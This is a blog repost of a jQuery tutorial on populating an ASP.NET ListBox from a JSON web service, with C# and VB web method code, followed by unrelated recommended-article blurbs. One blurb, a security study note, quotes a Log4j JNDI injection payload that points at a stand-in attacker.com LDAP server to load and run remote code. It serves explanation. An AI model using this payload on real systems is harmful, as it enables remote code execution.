Populate an ASP.NET ListBox from JSON results using jQuery

ASP.NET前后端用户安全管理技术全解析 本文系统介绍ASP.NET Core中用户管理的核心技术,涵盖注册登录、密码加密(PBKDF2)、JWT身份认证及AccessToken/RefreshToken机制。通过轻量级Web API项目演示,强调安全实践:密码明文不存储,使用加盐哈希;登录后生成带有效期的JWT令牌,结合短时效AccessToken与安全存储的RefreshToken实现无状态身份验证,提升系统安全性与用户体验。 阅读详情

来自:http://www.dotnetcurry.com/ShowArticle.aspx?ID=454&AspxAutoDetectCookieSupport=1

This article demonstrates how to populate an ASP.NET ListBox using data coming from a JSON Serialized ASP.NET Web Service. This article is a sample chapter from my EBook called 51 Tips, Tricks and Recipes with jQuery and ASP.NET Controls . The chapter has been modified to publish it as an article.
Note that for demonstration purposes, I have included jQuery code in the same page. Ideally, these resources should be created in separate folders for maintainability.
Let us quickly jump to the solution and see how to populate an ASP.NET ListBox from data coming from a JSON Serialized ASP.NET Web Service
<htmlxmlns="http://www.w3.org/1999/xhtml">
<headid="Head1" runat="server">
   <title>Populate a ListBox from JSON Results</title>
   <script language="javascript" type="text/javascript"
   src="http://code.jquery.com/jquery-latest.js"></script>
   
   <script type="text/javascript">
        $(function() {
           var firstParam = 'F';
           var radBtn = $("table.tbl input:radio");
           var lBox = $('select[id$=lb]');
            $(radBtn).click(function() {
                lBox.empty();
               var firstParam = $(':radio:checked').val();
                $.ajax({
                    type:"POST",
                    url:"Services/EmployeeList.asmx/FetchEmpOnGender",
                    data:"{empSex:\"" + firstParam + "\"}",
                    contentType:"application/json; charset=utf-8",
                    dataType:"json",
                    success:function(msg) {
                       var gender = msg.d;
                       if (gender.length > 0) {
                           var listItems = [];
                           for (var key in gender) {
                                listItems.push('<option value="' +
                                key +'">' + gender[key].FName
                                +'</option>');
                            }
                            $(lBox).append(listItems.join(''));
                        }
                       else {
                            alert("No records found");
                        }
                    },
                   error:function(XMLHttpRequest, textStatus, errorThrown) {
                        alert(textStatus);
                    }
                });
            });
        });
   </script>
     
</head>
<body>
   <form id="form1" runat="server">
   <div>
       <h2>Click on a Radio Button to retrieve 'Gender' based data</h2>
       <br /><br />
       <asp:RadioButtonListID="rbl" runat="server" class="tbl"
       ToolTip="Click on this RadioButton to retrieve data">   
           <asp:ListItemText="Male" Value="M"></asp:ListItem>   
           <asp:ListItemText="Female" Value="F"></asp:ListItem>            
       </asp:RadioButtonList><br/>
       <asp:ListBoxID="lb" runat="server"></asp:ListBox>
   </div>
   </form>
</body>
</html>
In this example, we will see how to consume an ASP.NET Web Service (EmployeeList.asmx) that is JSON Serialized. The data source for this web service is List<Employees> in the Employee.cs class. The class can be downloaded from the source code available with this article. Here’s a snapshot of what the class looks like
SnapshotofClass
If you look at the EmployeeList.cs file, you will observe that the method has been decorated with the [WebMethod] attribute to allow calls from client script
C#
[WebMethod]
    public List<Employee> FetchEmpOnGender(char empSex)
    {
       var emp = new Employee();
       var fetchEmp = emp.GetEmployeeList()
            .Where(m => m.Sex == empSex);
       return fetchEmp.ToList();
    }
VB.NET
<WebMethod> _
PublicFunction FetchEmpOnGender(ByVal empSexAs Char) As List(Of Employee)
           Dim emp = New Employee()
           Dim fetchEmp = emp.GetEmployeeList().Where(Function(m) m.Sex = empSex)
           Return fetchEmp.ToList()
EndFunction
The FetchEmpOnGender() method calls the GetEmployeeList() method on the Employee class which returns a List<Employee>. The UI contains two radio buttons ‘Male’ and ‘Female’ which when selected, passes in the gender information to the web service. Depending on the input received, the web service method filters and returns data for the gender requested.
Note: If a method is not marked with [ScriptMethod] attribute, the method will be called by using the HTTP POST command and the response will be serialized as JSON.
To consume this web service using jQuery$.ajax(), two important points to note is that the request should be a POST request and the request’s content-type must be ‘application/json; charset=utf-8’. The code structure looks similar to the following:
$.ajax({
    type:"POST",
    url:"Services/EmployeeList.asmx/FetchEmpOnGender",
    data:"{empSex:\"" + firstParam + "\"}",
    contentType:"application/json; charset=utf-8",
    dataType:"json",
    success:function(msg) {
    },
    error:function(XMLHttpRequest, textStatus, errorThrown) {
    }
Also observe the way we are passing in the gender parameter using a ‘special formatting’ in the$.ajax() call
data:"{empSex:\"" + firstParam + "\"}"
Once we receive the results, we loop through it and populate an array ‘listItems’ with the FirstName values by passing in a key to the FName value (gender[key].FName))
success:function(msg) {
    var gender = msg.d;
    if (gender.length > 0) {
       var listItems = [];
       for (var key in gender) {
            listItems.push('<option value="' +
            key +'">' + gender[key].FName
            +'</option>');
        }
    
The final step is to populate the ListBox using the populated array
$(lBox).append(listItems.join(''));
When you run the application, click on the radio button, to retrieve the FirstName of Employees. Clicking on the ‘Male’ radio button fetches the following results:
Male
Whereas clicking on the ‘Female’ radio button fetches the following results:
Female
See a Live Demo
I hope you found this article useful and I thank you for viewing it. This article was taken from my EBook called 51 Tips, Tricks and Recipes with jQuery and ASP.NET Controls which contains similar recipes that you can use in your applications. The entiresource code of this article can be downloaded over here

 相关下载资源:

https://skydrive.live.com/?cid=2c5f5b0560e374cb&id=2C5F5B0560E374CB!285

AI 网关一把 Key 接通 Claude Code 与 Codex 实战(附配置) 在研发与 SRE 团队中,通常会通过自建 AI 网关(如 Sub2API 等多上游聚合网关)向工程师发放统一的sk-API Key,背后挂载 OpenAI(GPT 系列)、xAI(Grok 系列)、DeepSeek 等上游账号池。当工程师尝试把同一把sk-密钥同时配置到Codex CLI与Cursor 内置终端协议转发被拒:复合分组(composite)下只有 OpenAI/Grok/DeepSeek 账号,没有原生 Anthropic 账号,Claude Code 调直接返回。/model。 阅读详情

相关推荐

Mplus实战:如何用潜在类别分析(LCA)快速搞定心理学数据分类?

本文详细介绍了如何运用Mplus软件进行潜在类别分析(LCA),以快速处理心理学数据并识别内部异质性群体。文章从数据准备、Mplus语法编写、模型拟合与选择,到结果解读与高级应用(如纳入协变量),提供了完整的实战指南,帮助研究者从变量视角转向个体视角,有效挖掘数据中的潜在子类别。

weixin_28318011的博客 410

对populate()方法的理解

在开发地图的应用中,我们很多时候需要在地图上绘制一些文本,图标信息(比如当前位置的图标,比如某个区域内肯德基店的所有兴趣点) 为了能够在地图上绘制我们需要的信息(比如图片),我们需要知道图层的概念。(就像photoshop里的图层) 接下来我们需要利用API接口实现我们的功能(我们这里采用的是高德的API,高德API开发包可自行在官网上下载) 高德API提供了一个基类Overlay,用于

Benson的专栏 1万+

银河麒麟v10离线安装docker二进制包

因为工作需要在银河麒麟v10系统上离线部署k8s集群,k8s部署的前提是具有docker环境,因此离线安装docker成为必然。 1.下载docker包:Index of linux/static/stable/x86_64/ 选择自己合适的版本,我下载的是20.10.7 选择自己放置docker包的路径进行解压: cd /home/huawei/zq tar -zxvf docker-20.10.7.tgz 2. 给docker包解压出来的docker文件夹下的二进制文件赋..

q_hsolucky的博客 7684

Jackson 序列化 / 反序列化注解 完整版笔记

Jackson 序列化 / 反序列化注解 完整版笔记

handsome_sai的博客 282

Ubuntu声卡检测与故障排查:从基础命令到驱动修复

本文详细介绍了在Ubuntu系统中进行声卡检测与故障排查的完整流程。从使用lspci、aplay等基础命令识别硬件,到排查驱动冲突、修复权限问题,再到调整PulseAudio高级配置,提供了一套系统性的解决方案。文章结合实战案例,帮助用户快速诊断并解决Ubuntu系统常见的“无声”问题,恢复音频功能。

g2h3i4j5的博客 228

微机原理课程设计-模拟十字路口交通信号灯

一、设计任务描述 1.1设计目的 通过课程设计使学生更进一步掌握微机原理及应用课程的有关知识,提高应用微机解决问题的能力,加深对微机应用的理解。通过查阅资料,结合所学知识进行软、硬件的设计,使学生初步掌握应用微机解决问题的步骤及方法。为以后学生结合专业从事微机应用设计奠定基础。 1.2 设计要求 控制LED灯,按照十字路口红绿灯的原理亮灭显示: (1) 东西方向车辆放行x秒...

Learning_is_endless的博客 2万+

用 ijson 流式解析 SerpBase 快照归档:把 16GB 内存压回 200MB

凌晨三点,解析脚本把机器内存吃满了去年做搜索数据归档分析时,我写了一个统计脚本:读取一个月的原始响应归档,统计每个域名在自然结果里出现的次数。归档文件是把每天几千条 SerpBase 响应拼成一个大 JSON 数组,单月文件 2.4GB。脚本跑起来不到四十秒,监控告警就响了——一台 16GB 内存的机器,可用内存被吃到只剩几百兆,同机的采集任务全被拖慢。。

Y381532662的博客 271

工业质检升级!C#上位机集成YOLOv8.3.138+Blob分析:尺寸测量+缺陷检测一步到位

工业场景的技术选型,从来不是“选最先进的”,而是“选最适配的”。这个项目的成功,不在于采用了多前沿的技术,而在于找对了“贴合场景的技术组合”和“落地导向的实施思路”。C#上位机的稳定性保障了系统长期运行,YOLOv8.3.138的精度解决了缺陷检测痛点,Blob分析的抗干扰能力确保了尺寸测量准确,三者结合实现了“1+1+1>3”的效果。先摸透场景,再选技术:不要盲目追求最新模型,先深入了解车间环境、生产节奏、精度要求,选择兼容性强、稳定性高的技术方案;数据质量决定模型性能。

这里只有干货:从 Modbus 通信到 MES 对接,从 YOLO 训练到工控机部署,带你搞定工业软件开发全流程。 611

AI 编程智能体零门槛调用手册:从“能跑”到“敢放进作品集”

抄下来的调用示例跑不通、密钥硬编码、换模型就崩?这份手册按使用频率排序,每条给出用途、最小示例和坑点,30秒定位你需要的片段。跟着做,你将得到一个可配置、可切换模型、密钥不入库的小型智能体脚本——正是面试常问的安全集成大模型能力。🔧 从“能跑”到“敢放进作品集”,只差这一层重构。

2601_94912102的博客 398

Python 爬虫实战:赛事分析平台构建与比赛数据抓取

在体育赛事日益丰富的今天,对比赛数据的收集与分析对于运动员、教练团队以及体育爱好者都具有重要意义。通过构建一个赛事分析平台,我们可以系统地抓取、整理和展示各类比赛数据,为用户提供全面的赛事洞察。本文将深入讲解如何利用 Python 爬虫技术实现这一平台的构建,涵盖从目标网站分析到数据可视化展示的全过程。

u014481728的博客 3180

【点云鸟瞰图BEV】点云鸟瞰图BEV原理与可视化

本节将介绍激光雷达等点云的鸟瞰图生成原理、代码及效果图。 1 BEV视图原理 点云BEV(Bird's Eye View)视图是指点云在垂直于高度方向的平面上的投影。通常,在获得bev视图前,会将空间分割成体素,利用体素对点云进行下采样,然后将每个体素作为一个点进行投影。体素是指将三维空间按照固定尺寸长方体进行划分时的长方体(Δl*Δw*Δh)。 体素投影时可以得到BEV视图的像素点坐标。每个像素点的特征取值则可以通过多种方式得到。 ...

叶子的博客 2万+

【每天一个 Python 小案例30】Python 基础知识综合小项目:我的工具盒

作为系列收官,本篇把前 29 篇的知识点合成一个能直接用的命令行工具"我的工具盒":计算器(用 ast 解析表达式,不碰 eval)、单位换算与温度转换(一张换算表 + 特例分支)、记账与分类统计(Decimal + JSON 持久化)、以及用"字典当命令表"把菜单和业务逻辑解耦的主循环。文中对比了 eval 的安全隐患与 ast 白名单的做法,解释了 lambda 闭包在字典里的写法与晚绑定陷阱,并在最后给出整个系列的知识地图,把变量、数据结构、控制流、函数、类、异常、文件、标准库八块内容对应到具体篇目。

xinjiyaya的博客 427

保研考研机试攻略:python笔记(4)

保研考研机试攻略:python笔记(4)二分法+最大公约数+最小公倍数+素数判断+幂次方mod方法+匹配问题+哈希算法+哈夫曼编码+二叉树

qq_63349644的博客 1097

MCP本地服务集成避坑:从Stdio管道僵死到双向JSON-RPC稳健通信

本文剖析MCP服务端因调试日志污染Stdio管道导致客户端挂起的根因,指出console.log等非结构化输出会破坏JSON-RPC协议解析,引发通信僵死。提出双通道隔离方案:将业务通信严格限定于stdout,所有日志分流至stderr,并强制单行原子化传输与缓冲刷新。实践证明该架构可彻底消除解析崩溃与延迟问题,实现零延迟、高可靠的本地智能体通信,是MCP插件工程化的必选项。

艺杯羹的博客 507

怀旧版电脑GBC模拟器

再现原版GBC掌机的界面,电脑运行连游戏界面都一样大小,很怀旧,很真实,(英文版)强烈推荐,很小的文件,很难才找到的。

复分析 阿尔福斯(Ahlfors) 第三版答案 英文

答案分为十章,有部分习题没有答案,全英文复分析阿尔福斯(Ahlfors) 第三版答案

在通用工作任务 AI-CODE 云端电脑落地企业级自治 Agent:zongyuan 本地持久层实战记录

构建自治Agent系统,算力、模型能力是表层能力;可信持久层、哈希确权、可回退、可审计才是系统持续进化的底座。无论使用什么模型,一旦产物没有稳定落点、没有指纹校验、故障无法回溯,每一次重启都相当于重新试错。这类以证据、校验、账本为核心的工程工作流,非常适合在预配置云端开发环境落地:终端输出的哈希、退出码、结构化体检报告,都可以直接作为可信交付凭证;模型推理额度专注业务逻辑,持久层可信底座依托标准库实现,轻量化、可控。

weixin_67195547的博客 218

win10 跳过U8环境检测的IE WebControls.rar

win10 安装u8的时候 提示IE WebControls 不通过,这个工具可以欺骗u8的检查。 跳过U8环境检测的IE WebControls。提示导入失败后,重新检测通过。

Day36 XD安全学习笔记--JavaE应用&第三方组件&Log4i 日志&Fastson序列化&JNDI 注入

本节课剖析Log4j与Fastjson组件漏洞原理。Log4j通过JNDI注入实现远程代码执行,攻击者构造${jndi:ldap://attacker.com/Exploit}触发Lookup机制,诱导目标向恶意LDAP服务器请求并加载远程类,最终执行命令(如弹出计算器)。需配置trustURLCodebase=true绕过安全限制。Fastjson则利用@type反序列化特性,当用户输入可控的{"@type":"com.xiaodi.Run"}时,自动加载并实例化恶

一支蜉蝣的博客 205

LangChain 能力详解(二):聊天模型核心能力 —— 工具调用、结构化输出、流式传输

ChatOpenAI实时提取 JSON 字段边输出边高亮 Markdown边输出边计费yield chunk.content.upper() # ← 每个块都处理会同时实现parse(非流式)和_transform(流式),所以这个解析器在invoke和stream下都能用。能力一句话核心 API工具调用让模型从「只会说」变成「会决定做什么」@toolbind_tools结构化输出让模型从「返回字符串」变成「返回对象」流式传输让用户从「干等 20 秒」变成「立刻看到」stream。

2601_94861874的博客 618

AI 应用的数据库架构:按数据类型选技术

**AI 应用的数据库架构:按数据类型选技术** ## 一、关系型库:记录主库 对绝大多数 AI 产品,最安全、省心的起点是一个支持事务与约束的关系型库,作为默认记录主库。 适用场景:租户与用户身份、计费与权益(订阅、配额)、智能体运行与任务状态、工具审批与审计日志、对话元数据(非消息体本身)、文档归属与访问策略、评测结果。 灵活用法:可用 JSON 列存供应商元数据,而不破坏关系保证。具

search_agent的博客 365

Vue 前端开发 AI 对话页面:流式消息渲染、文件上传

关键点是不能手动设置 Content-Type 为 multipart/form-data,必须由浏览器自动生成带有 boundary 的请求头,否则后端无法解析。思路:将对象序列化为 JSON 字符串,作为 FormData 的一个普通字段(如 formData.append(‘payload’, JSON.stringify(data))),后端接收该字段后再反序列化。若上传大文件(>10MB),需实现独立的分片上传接口,在提交对话前先获取文件 id 或 url,再随文本发送引用。移除输入框的禁用态;

2402_85729970的博客 392

PDF转JSON/Markdown:如何批量解析复杂文档并保留页面结构?

面对多栏、跨页表格、图文混排等复杂PDF文档,传统OCR难以完整保留结构与逻辑。TextIn xParse通过版面分析与结构化输出,支持将PDF等多格式文件批量解析为Markdown或JSON,精准识别标题、表格、图片、公式等元素,保留阅读顺序、行列关系及页面坐标信息,助力企业实现知识库建设、业务自动化与AI Agent文档处理,提升文档数据转化效率与可用性。

INTSIG的博客 363

23-JSON-Patch转成局部更新

前端仅修改部分字段时,应将 JSON Patch 的 replace 操作映射至白名单列,转为局部 UPDATE,避免整行更新导致未展示字段被清空。服务端严格校验路径、类型,拒绝主键、删除标记等敏感字段,审计字段由服务端写入,确保数据安全与一致性。通过参数化查询防止注入,结合版本控制应对并发,实现精准、安全的局部更新。

CAthlete的博客 210

【人工智能】如何搭建工作流:从 SKILL 拆分到多智能体审核

本文介绍如何通过SKILL拆分构建AI工作流:将自媒体流程拆分为选题、写文案、剪视频等独立SKILL,由调度SKILL统一管理,并借助status.json与log.md实现状态追踪与日志记录。进一步引入多智能体审核机制,主智能体调度上下文独立的子智能体进行交叉复核,避免“灯下黑”。关键在于持续维护与优化,而非一次性搭建。

千月星跡 314

Markdown 转 PDF API:表格与代码块、公开链接与私有文件

Markdown 转 PDF API 接收非空 Markdown 字符串,返回排版后的 PDF。可以用 JSON 或表单提交标题、表格、代码块等内容。公开模式返回下载 URL,私有模式返回文件引用。

DevOpenClub 专栏 172

python标准库使用总结

它跟着 Python 解释器一起发布,跨平台(Windows / Linux / Mac / 嵌入式),文档统一,稳定性高。TCP/UDP,和 C 的 socket API 思想几乎一致,嵌入式网络开发必看。和第三方库(requests、numpy)对比:第三方要 pip 装;:IO 多路复用(epoll/poll),写服务端、高并发网络。包(标准库 HTTP 请求,不用装 requests)内置模块是标准库的子集。,是内置模块,不需要 import。包(标准库自带 HTTP 组件)

qq_28576837的博客 198

2,615 个知识点、3,003 条先修边:6,800 Star 的开源知识图谱,能顺着错题从高中回溯到小学

2,615 个知识点、3,003 条 hard/soft 先修边、约 1.16 万道题:cn-math-taxonomy 把人教版教材与课标焊进开源知识图谱,答错高中题能回溯到小学知识点。本文拆解其数据工程与自适应诊断算法。

话梅糖の优快云 Blog 356

JSON里的编号要不要加引号?用一次格式化核对清楚

用自编长编号、前导零批次号和普通数量实测JSON格式化,逐项核对字符串与数值类型。结合RFC 8259说明数字互操作边界;格式化不能替代接口契约,也不能恢复上游丢失的数据。

qq_17765433的博客 216
上一篇: 利用JQuery的$.ajax()可以很方便的调用asp.net的后台方法。
下一篇: 启用IIS的GZIP压缩功能的图文方法
ArvinStudy
博客等级 码龄15年 83粉丝 193原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值